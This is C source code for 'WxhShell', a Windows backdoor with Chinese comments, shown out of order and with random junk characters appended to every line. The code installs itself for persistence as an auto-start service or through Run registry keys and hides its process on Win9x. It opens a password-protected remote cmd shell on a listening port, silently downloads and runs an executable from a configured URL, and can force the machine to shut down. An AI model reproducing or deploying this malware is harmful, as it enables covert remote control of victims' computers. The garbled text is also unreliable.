    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a?ete9Q+  
    else { T: My3&6  
    closesocket(wsh); y ~-v0/  
    ExitThread(0); (-J'x%2)  
    } aY4v'[  
    break; X#by Dg  
    } mCn:{G8+  
  // 获取shell .Tl,Ek(  
  case 's': { ~zZOogM<  
    CmdShell(wsh); M]%dFQ  
    closesocket(wsh); ;[4=?GL*  
    ExitThread(0); Fsl="RB7f  
    break; Ze/\IBd  
  } \R9izuc9  
  // 退出 [zl4"|_`  
  case 'x': { ES^J RX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u[SqZftmO  
    CloseIt(wsh); e)s l  
    break; ld"rL6  
    } Ne;0fk O  
  // 离开 8_wh9   
  case 'q': { 1\{FKO t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d %FLk=]  
    closesocket(wsh); W9} ,f  
    WSACleanup(); r=37Q14v  
    exit(1); s-IM  
    break; %* K zP{  
        } /:!l&1l:p  
  } K8&) kfyI  
  } !ni 1 qM  
'cu14m_  
  // 提示信息 oP T)vN?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?x 0gI   
} : &nF>  
  } 48S NI  
yIr0D 6L  
  return; /]0SF_dZ  
} l['p^-I  
M*cF'go  
// shell模块句柄 FbMtor  
int CmdShell(SOCKET sock) y5KeUMcu  
{ 0$b4\.0>~  
STARTUPINFO si; UlNiH  
ZeroMemory(&si,sizeof(si)); <5Ll<0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s1sn,?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7}Mnv WP  
PROCESS_INFORMATION ProcessInfo; ;xUo(^t7>  
char cmdline[]="cmd"; `<P:l y.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FjizPg/|!  
  return 0; @@-TW`G7  
} ]ZP!y  
FSz<R*2  
// 自身启动模式 m8 _yorz  
int StartFromService(void) K } T=j+  
{ KSS]%66Y  
typedef struct R-<8j`[0  
{ Wt@hST  
  DWORD ExitStatus; v:Gy>&  
  DWORD PebBaseAddress; pd`m//G  
  DWORD AffinityMask; CAx eJ`Q  
  DWORD BasePriority; r9! s@n  
  ULONG UniqueProcessId; 9Nna-}e?W  
  ULONG InheritedFromUniqueProcessId; k{S8q?Gc  
}   PROCESS_BASIC_INFORMATION; C[jX;//Jiu  
Qc!3y>Y=_  
PROCNTQSIP NtQueryInformationProcess; F?jD5M08t/  
_cC!rq U1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *ZLisq-f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T*8 S7l  
KJ S-{ed  
  HANDLE             hProcess; gMZ+kP`  
  PROCESS_BASIC_INFORMATION pbi; _NwHT`O[  
br TP}A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9@IL547V  
  if(NULL == hInst ) return 0; NX8hFwR  
WI*CuJU<zJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8lDb<i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V?0IMc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bYpeI(zK  
^~vM*.j~j  
  if (!NtQueryInformationProcess) return 0; 2A";o E  
TF!v,cX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X<$DNRN  
  if(!hProcess) return 0; ?*xH HI/  
?EHheZ{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SYf1dbc..u  
3` oOoKX  
  CloseHandle(hProcess); >!lpI5'Z&  
E`@Z9k1 `  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gs/ocu  
if(hProcess==NULL) return 0; z$d<ep{6  
\o72VHG66  
HMODULE hMod; -&]!ig5v  
char procName[255]; l\Ww^   
unsigned long cbNeeded; D:IG;Rsc  
M=&,+#z<V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /J!:_Nq  
KZ#\ >  
  CloseHandle(hProcess); QS\wtTXj  
P zM yUv  
if(strstr(procName,"services")) return 1; // 以服务启动 <HN{.p{  
olL? 6)gC  
  return 0; // 注册表启动 1ZRkVHiz0  
} q &{<HcP  
X's<+hK&  
// 主模块 #pK" ^O*!  
int StartWxhshell(LPSTR lpCmdLine) S-Bx`e9'  
{ i'>5vU0?3  
  SOCKET wsl; goF87^M  
BOOL val=TRUE; [eOv fD  
  int port=0; v4'kV:;&  
  struct sockaddr_in door; ,d*hhe  
1iLU{m9  
  if(wscfg.ws_autoins) Install(); L1DH9wiQi  
1kvs2  
port=atoi(lpCmdLine); #,6T.O  
u-:3C<&>  
if(port<=0) port=wscfg.ws_port; ; Ad5Jk  
5F ^VvzNn  
  WSADATA data; Ks6\lpr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /Yg&:@L  
S++~w9}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Yc_(g0NK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Y S 3)  
  door.sin_family = AF_INET; SA=>9L,2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M3|G^q:l  
  door.sin_port = htons(port); dkCU U  
5E~^-wX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <LXx_{=:  
closesocket(wsl); xh9$ZavB*  
return 1; >zL5*:G  
} z,^~H  
) < U9  
  if(listen(wsl,2) == INVALID_SOCKET) { c>>.>^5  
closesocket(wsl); 1^= QIX  
return 1; nu-&vX  
} g|$;jQ\_  
  Wxhshell(wsl); \M._x"  
  WSACleanup(); ybJwFZ80  
NT5'U  
return 0; j4 #uj[A  
PR$;*|@  
} Qs59IZ  
gOW8 !\V  
// 以NT服务方式启动 Hk h'h"_r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cgQ6b.  
{ Myiv#rQ)  
DWORD   status = 0; 66" 6>  
  DWORD   specificError = 0xfffffff; 8,!Oup  
2E!~RjxSY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; btq 4diW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nQ_{IO8/6W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ ) w4Tq  
  serviceStatus.dwWin32ExitCode     = 0; i 61k  
  serviceStatus.dwServiceSpecificExitCode = 0; 6X m'^T  
  serviceStatus.dwCheckPoint       = 0; T :m" eD;  
  serviceStatus.dwWaitHint       = 0; CPRVSN0b{4  
{ $yju_[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /"j 3B\`?  
  if (hServiceStatusHandle==0) return; h ! R=t  
ArNQ}F/  
status = GetLastError(); "2sk1  
  if (status!=NO_ERROR) 0NC70+4L  
{ 7dACbqba  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pb)8?1O|s  
    serviceStatus.dwCheckPoint       = 0; (?JdiY/  
    serviceStatus.dwWaitHint       = 0; bDtb6hL  
    serviceStatus.dwWin32ExitCode     = status; fC*cqc~{@  
    serviceStatus.dwServiceSpecificExitCode = specificError; -,p=;t#(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZcyGLg0I  
    return; 3)\fZYu)  
  } )S2yU<6oOt  
0.n[_?<(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; flFdoEV.U)  
  serviceStatus.dwCheckPoint       = 0; d,JDfG)  
  serviceStatus.dwWaitHint       = 0; @&WHX#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jut&J]{h  
} F!0iM)1o  
` K {k0_{  
// 处理NT服务事件,比如:启动、停止 ';/J-l/SE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0Q_*Z (  
{ /YF:WKr2  
switch(fdwControl) 'D ?o^  
{ oR=i5lAU  
case SERVICE_CONTROL_STOP: |.UY' B  
  serviceStatus.dwWin32ExitCode = 0; .\^0RyJE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hy[: _E  
  serviceStatus.dwCheckPoint   = 0; M %!;5  
  serviceStatus.dwWaitHint     = 0; D5?8`U m=  
  { n%J=!z3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0x!&>  
  } @&O4a2+  
  return; HRDpFMA/~  
case SERVICE_CONTROL_PAUSE: ty0P9.Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;t\h"K<,|  
  break; }A24;'}  
case SERVICE_CONTROL_CONTINUE: M] /aW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X4!7/&  
  break; Rxd4{L )n  
case SERVICE_CONTROL_INTERROGATE: )&7. E  
  break; qVE0[ve  
}; ~RuX2u-2&u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c!4F0(n4  
} #[lhem]IC  
G!r)N0?_f  
// 标准应用程序主函数 &R_7]f+%)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q]xkDr?   
{ _2hLc\#  
8a P/vToa  
// 获取操作系统版本 mSxn7LG  
OsIsNt=GetOsVer(); Ytlzn%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3$k#bC  
e;6K xvX~  
  // 从命令行安装 SE]5cJ'>  
  if(strpbrk(lpCmdLine,"iI")) Install(); UlE%\L0GD&  
EaO@I.[  
  // 下载执行文件 DdgiY9a.  
if(wscfg.ws_downexe) {  V>'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #lLUBJ#:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]zSFX =~(S  
} ^}d]O(  
&P|[YP37_  
if(!OsIsNt) { x [FLV8`b|  
// 如果时win9x,隐藏进程并且设置为注册表启动 :BF? r  
HideProc(); [fa4  
StartWxhshell(lpCmdLine); A>yU0\A  
} UUJQc ~=  
else ilL0=[2  
  if(StartFromService()) !rM~   
  // 以服务方式启动 EX`P(=zD  
  StartServiceCtrlDispatcher(DispatchTable); EbQLMLD%  
else `S@TiD*  
  // 普通方式启动 uPA ( 1  
  StartWxhshell(lpCmdLine); |/*Pimk  
(G>[A}-  
return 0; ;[sW\Ou  
} { :tO RF  
@dDeOnF  
pFd8p@m_2  
lrT2*$ w3  
=========================================== )S)L9('IxT  
37/n"\4  
?0VR2Yb${b  
yJm"vN  
c[dzO .~  
;hX(/T  
" vjGQ!xF  
$E\|\g  
#include <stdio.h> *Y m? gCig  
#include <string.h> Dsg>~J'  
#include <windows.h> I#M3cI!X?  
#include <winsock2.h> fe?Z33V  
#include <winsvc.h> RP&bb{Y  
#include <urlmon.h> 'jtC#:ePK  
Wp=3heCa6  
#pragma comment (lib, "Ws2_32.lib") )\fY1WD  
#pragma comment (lib, "urlmon.lib") f&^(f1WO  
*glZb;_  
#define MAX_USER   100 // 最大客户端连接数 +$,Re.WnP  
#define BUF_SOCK   200 // sock buffer h4? x_"V"  
#define KEY_BUFF   255 // 输入 buffer n{ ;j  
u*l|MIi6J  
#define REBOOT     0   // 重启 <$(B[T  
#define SHUTDOWN   1   // 关机 B[t^u\Fk  
|7s2xRc  
#define DEF_PORT   5000 // 监听端口 x<NPp&GE  
BX@Iq  
#define REG_LEN     16   // 注册表键长度 .V?:&_}_I6  
#define SVC_LEN     80   // NT服务名长度 W(s4R,j  
|^pev2g  
// 从dll定义API 9E!le=>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,fVD`RR(W?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {*ak>Wud  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V#t_gS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ETe4I`d{  
Kx__&a  
// wxhshell配置信息 ji"g)d6  
struct WSCFG { 7RAB"T;?Q  
  int ws_port;         // 监听端口 d8j1L/e  
  char ws_passstr[REG_LEN]; // 口令  P#,u9EIJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no  QHEtG2  
  char ws_regname[REG_LEN]; // 注册表键名 kmI0V[Y  
  char ws_svcname[REG_LEN]; // 服务名 T~TP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yB*,)x0 @  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FK|O^- >B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `2s!%/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `FP?9R6Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WNjwv/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kN1MPd4Yh  
NO"PO @&Wk  
}; Ccf/hA#mb  
n_8[bkbi  
// default Wxhshell configuration >:;dNVz  
struct WSCFG wscfg={DEF_PORT, *z=_sD?1  
    "xuhuanlingzhe", rz?Cn X.t  
    1, *Gbhk8}V'  
    "Wxhshell", |?`5~f  
    "Wxhshell", }'X=&3m  
            "WxhShell Service", hvd}l8  
    "Wrsky Windows CmdShell Service", Y ::0v@&(  
    "Please Input Your Password: ", lfGyK4:  
  1, C$3*[  
  "http://www.wrsky.com/wxhshell.exe", T(4d5 fY  
  "Wxhshell.exe" 4`IM[DIG~  
    }; y7R#PkQ~  
m o0\t#jA  
// 消息定义模块 o\AnM5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $`=p]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s[1ao"sZ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lo1Ui`V  
char *msg_ws_ext="\n\rExit."; ]rmBM  
char *msg_ws_end="\n\rQuit."; 5\-uo&#  
char *msg_ws_boot="\n\rReboot..."; \U~4b_aN  
char *msg_ws_poff="\n\rShutdown..."; S:\i M:  
char *msg_ws_down="\n\rSave to "; c8qr-x1HG  
!liV Y]  
char *msg_ws_err="\n\rErr!"; 30Q p^)K  
char *msg_ws_ok="\n\rOK!"; e%4?-{(  
TOYK'|lwM  
char ExeFile[MAX_PATH]; z3fv}_\z  
int nUser = 0; INZVe(z  
HANDLE handles[MAX_USER]; yqK4 "F&  
int OsIsNt; qfkHGW?1/j  
|.IH4 K  
SERVICE_STATUS       serviceStatus; Pf?kNJ*Tv)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *dzZOe>,  
E*_^+ %  
// 函数声明 ));#oQol9  
int Install(void); +8=$-E=  
int Uninstall(void); =lXj%V^8N  
int DownloadFile(char *sURL, SOCKET wsh); ?0tg}0|  
int Boot(int flag); (}"D x3K  
void HideProc(void); ,w }Po  
int GetOsVer(void); 0P^h6Vat  
int Wxhshell(SOCKET wsl); R;& >PFmq  
void TalkWithClient(void *cs); 8#I>`z^F  
int CmdShell(SOCKET sock); T:|/ux3  
int StartFromService(void); A]1Nm3@  
int StartWxhshell(LPSTR lpCmdLine); -wl j;U  
0ju1>.p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q!c(~UVw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZS Med(//b  
]-PzN'5\'  
// 数据结构和表定义 <3YZ0f f>  
SERVICE_TABLE_ENTRY DispatchTable[] = ]`E+HLEQ'  
{ ,!ZuH?Z  
{wscfg.ws_svcname, NTServiceMain}, 2 pS<;k`  
{NULL, NULL} Ae)xFnuq3  
}; 4DXbeQs:  
0MQ= Rt  
// 自我安装 od;-D~  
int Install(void) JuRoeq.  
{ Vs>Pv$kW  
  char svExeFile[MAX_PATH]; w7nt $L5  
  HKEY key; #XV=,81w  
  strcpy(svExeFile,ExeFile); sE9FT#iE  
8 WP>u8&  
// 如果是win9x系统,修改注册表设为自启动 $o6/dEKQ  
if(!OsIsNt) { Urj*V0^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C3AWXO ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > =>/~dIb  
  RegCloseKey(key); ,m=F H?5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [+#m THX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e4X df>B  
  RegCloseKey(key); rvA>khu0/  
  return 0; HN47/]"*  
    } WxdQ^#AE  
  } )cf i@-J+#  
} g14*6O:  
else { #kg`rrF r  
_iwG'a[`  
// 如果是NT以上系统,安装为系统服务 ^<]'?4m]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [^>XR BSm  
if (schSCManager!=0) a"~o'W7  
{ B`tq*T%  
  SC_HANDLE schService = CreateService y48]|%73  
  ( a|ftl&uk  
  schSCManager, KaIKb=4L|  
  wscfg.ws_svcname, e~h>b.~  
  wscfg.ws_svcdisp, owVvbC2<b(  
  SERVICE_ALL_ACCESS, H$6RDMU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pMF vL  
  SERVICE_AUTO_START, S"Al [{  
  SERVICE_ERROR_NORMAL, vwR_2u  
  svExeFile, 5Iu5N0cn  
  NULL, bT,:eA  
  NULL, |@ mz@  
  NULL, &|SWy 2 N  
  NULL, ]A4=/6`g?b  
  NULL {+N< 9(O  
  ); Z:b?^u4.  
  if (schService!=0) AZ:7_4jz  
  { n `j._G  
  CloseServiceHandle(schService); 3 qYGEhxv  
  CloseServiceHandle(schSCManager); Z[vx0[av&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ` Xc7b  
  strcat(svExeFile,wscfg.ws_svcname); D?|D)"?qb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  %zavSm"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S :HOlJze  
  RegCloseKey(key); :]"5UY?oF  
  return 0; OY*y<>  
    } ;qx#]Z0 <  
  } 8&QST!JGSX  
  CloseServiceHandle(schSCManager); ,5'o>Y  
} Y#U.9>h  
} i4C{3J^  
?2<QoS  
return 1; ",r v%i2 f  
} G  hM  
6iFlz9XiI  
// 自我卸载 }"Y<<e<z:  
int Uninstall(void) I#l}5e5  
{ verI~M$v{  
  HKEY key; kuY^o,u-1e  
HC0juT OiO  
if(!OsIsNt) { 0J R/V68$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~$!,-r  
  RegDeleteValue(key,wscfg.ws_regname); B5\l&4X  
  RegCloseKey(key); wG3L+[,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .=y=Fv6X  
  RegDeleteValue(key,wscfg.ws_regname); 0 9H rn  
  RegCloseKey(key); D#jwI,n}x  
  return 0; 9#E *o~1  
  } 3 ML][|TR  
} OjU{r N*  
} fif;n[<  
else { DR"Y(-xl  
x0 7 =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $e^"Inhtqp  
if (schSCManager!=0) [o^$WL?c  
{ o Rfb4+H&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h*%p%t<  
  if (schService!=0) :@w~*eK~  
  { s5,@=(,  
  if(DeleteService(schService)!=0) { Gz`Jzh j  
  CloseServiceHandle(schService); X)g X9DA  
  CloseServiceHandle(schSCManager); yoE-a  
  return 0; goM;Pf "<  
  } h'ik3mLH  
  CloseServiceHandle(schService); =D zrM%  
  } l;$F[/3a  
  CloseServiceHandle(schSCManager); "$BkO[IS  
} }gSoBu  
} *oO%+6nL  
t Cuvb  
return 1; iGW(2.Z  
} g pciv  
g$(Y\`zw  
// 从指定url下载文件 L F?/60  
int DownloadFile(char *sURL, SOCKET wsh) zD_5TG M=  
{ 3}L3n*Ft#.  
  HRESULT hr; j/V_h'}  
char seps[]= "/"; ] 0i[=  
char *token; L03I:IJ  
char *file; b:1B >  
char myURL[MAX_PATH]; 5nPvEN/  
char myFILE[MAX_PATH]; kHg|!  
1N/4W6  
strcpy(myURL,sURL); <Qq {&,Le  
  token=strtok(myURL,seps); TtJX(N~  
  while(token!=NULL) He_O+[sc  
  { ?Ld),A/c  
    file=token; ~B<\#oO  
  token=strtok(NULL,seps); eDd& vf  
  } ,Wtw0)4  
6Ga'_P:  
GetCurrentDirectory(MAX_PATH,myFILE); ueg%yvO  
strcat(myFILE, "\\"); \Y xG  
strcat(myFILE, file); ^C gg1e1  
  send(wsh,myFILE,strlen(myFILE),0);  ZllmaI  
send(wsh,"...",3,0); o HK   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HB9"T5Pd*  
  if(hr==S_OK) ]H`wE_2tu  
return 0; `(W"wC   
else F"Dr(V  
return 1; 8%4;'[UV  
9FEhl~&  
} ZfM]A)  
e.\>GwM  
// 系统电源模块 m?-)SA  
int Boot(int flag) w+m7jn!$  
{ 5N9Cd[4  
  HANDLE hToken; `JIp$  
  TOKEN_PRIVILEGES tkp; 1@Ba7>%'  
Hc/7x).  
  if(OsIsNt) { e`Yj}i*bx]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h!B{7J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _0[z xOI  
    tkp.PrivilegeCount = 1; NK-}[!f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  v9T 3=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  hyxv+m[  
if(flag==REBOOT) { x ]VycS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B"v*[p?  
  return 0; i7RK*{  
} R0M>'V?e  
else { O!PGZuF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U" @5R[=F-  
  return 0; pIIp61=$  
} zDg*ds\  
  } gd[muR ~  
  else { l_yy;e  
if(flag==REBOOT) { F,YP Il  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Iq|h1ie m+  
  return 0; HX.K{!5  
} j'*.=cwsp  
else { 03?ADjO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a,rXG  
  return 0; _9oKW;7f7  
} ErN[maix#  
} ' !huU   
hLfWDf*T|  
return 1; ,):aU  
} _Q:ot'(~0-  
P]"@3Z&w  
// win9x进程隐藏模块 =Vh]{ y~$  
void HideProc(void) OL1xxzo  
{ $7X;FmlG&  
+@$VJM%^7b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l|842N@1  
  if ( hKernel != NULL ) Ov" wcJ  
  {  -raK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \,v^v]|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !,- 'wT<v  
    FreeLibrary(hKernel); zGe =l;  
  } fq1w <e  
6l|L/Z_6  
return; X6sZwb  
} B^19![v3T  
Zn1((J7  
// 获取操作系统版本  H#F"n"~$  
int GetOsVer(void) f$</BND  
{ t<`wK8)  
  OSVERSIONINFO winfo; E.yFCaL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *K>2B99TXu  
  GetVersionEx(&winfo); 2U%t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D~qi6@Ga  
  return 1; nUY)Ln I  
  else Eoz/]b  
  return 0; ym p*:lH(  
} Bl)D/  
'>OEQU5-  
// 客户端句柄模块 ~m R^j  
int Wxhshell(SOCKET wsl) uP7|#>1%  
{ +VIEDV+   
  SOCKET wsh; [p\xk{7Y  
  struct sockaddr_in client; p;[.&o J  
  DWORD myID; H/f}t w  
,>g( %3C  
  while(nUser<MAX_USER) K[SzE{5=P  
{ ldG8hK  
  int nSize=sizeof(client); HJr*\%D}1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MPp:EH  
  if(wsh==INVALID_SOCKET) return 1; / /G&=i$  
* *A JFc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vU/sQt8  
if(handles[nUser]==0) h*4wi.-  
  closesocket(wsh); "% i1zQo&  
else $sL+k 'dY  
  nUser++; <)cmI .J3  
  } ,:.8s>+i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <-d-. 8  
NgGpLdaC2v  
  return 0; r& RJ'z  
} `,  |l  
W OYZ  
// 关闭 socket | /-# N  
void CloseIt(SOCKET wsh) AED 9vDE  
{ CE183l\  
closesocket(wsh); yl<=_Q  
nUser--; 9<Zm}PE32  
ExitThread(0); VQ~eg wJL  
} 84(jg P  
1_~'?'&^  
// 客户端请求句柄 7Aw <:  
void TalkWithClient(void *cs) J_ h\tM  
{ 8=\k<X{`  
Q<osYO{l  
  SOCKET wsh=(SOCKET)cs; <!u(_Bxw/  
  char pwd[SVC_LEN]; cP21x<n  
  char cmd[KEY_BUFF]; TDtHR hq7  
char chr[1]; EY1L5 Ba.  
int i,j; Rlr[uU_  
Yk4ah$}%-^  
  while (nUser < MAX_USER) { ht:L L#b*(  
,! ~U5~  
if(wscfg.ws_passstr) { 4[0.M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )sEAP Ika  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8W.-Y|[5?  
  //ZeroMemory(pwd,KEY_BUFF); z ISy\uka  
      i=0; /Wjf"dG}  
  while(i<SVC_LEN) { < Lrd(b;  
^-}3 +YA  
  // 设置超时 lZ+ 1 A0e  
  fd_set FdRead; .b%mr:nEt7  
  struct timeval TimeOut; oRn5blj  
  FD_ZERO(&FdRead); gn 9CZ  
  FD_SET(wsh,&FdRead); Dx3Sf}G `  
  TimeOut.tv_sec=8; R[lA@q:  
  TimeOut.tv_usec=0; .|ZnU]~T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Hpj&Qm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Vq_O u  
4_eFc$^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =2wy;@f  
  pwd=chr[0]; x(zW<J5X"  
  if(chr[0]==0xd || chr[0]==0xa) { 3'Z+PPd!  
  pwd=0; (i'wa6[E8  
  break; J0Y-e39 `  
  } d #-<=6  
  i++; %ye4FwkRy  
    } H~qY7t  
:n?}G0y  
  // 如果是非法用户,关闭 socket !P)7t`X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ffQ&1T<  
} H Lt;1:b  
E}w<-]8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PI" )^`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4gm(gY>[  
p4zV<qZ>e  
while(1) { q->46{s|  
E?f*Z{~,  
  ZeroMemory(cmd,KEY_BUFF); M7lMOG (\  
hmd,g>J:<  
      // 自动支持客户端 telnet标准   jr5x!@rb  
  j=0; W/R-~C e  
  while(j<KEY_BUFF) { \RP=Gf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Neb%D8/Kn  
  cmd[j]=chr[0]; hta$ k%2  
  if(chr[0]==0xa || chr[0]==0xd) { +hvVoBCM*  
  cmd[j]=0; t #g6rh&  
  break; 4fzM%ku  
  } z[, `  
  j++; ;,&1  
    } >^Z!  
ph1veD<ZZ  
  // 下载文件 ? Kn~fs8  
  if(strstr(cmd,"http://")) { k}Vu!+cz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hMs}r,*  
  if(DownloadFile(cmd,wsh)) l:kF0tj"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ID 8L [  
  else ]pA}h. R#-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U `"nX)$  
  } T%F8=kb-9  
  else { [ !:.9  
~F]- +|  
    switch(cmd[0]) { G#0 4h{  
  M:(k7a+[^  
  // 帮助 1k>*   
  case '?': { 71w$i 4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \h"QgHzp  
    break; Z5{M_^  
  } MgLz:2 :F  
  // 安装 qx/GioPU  
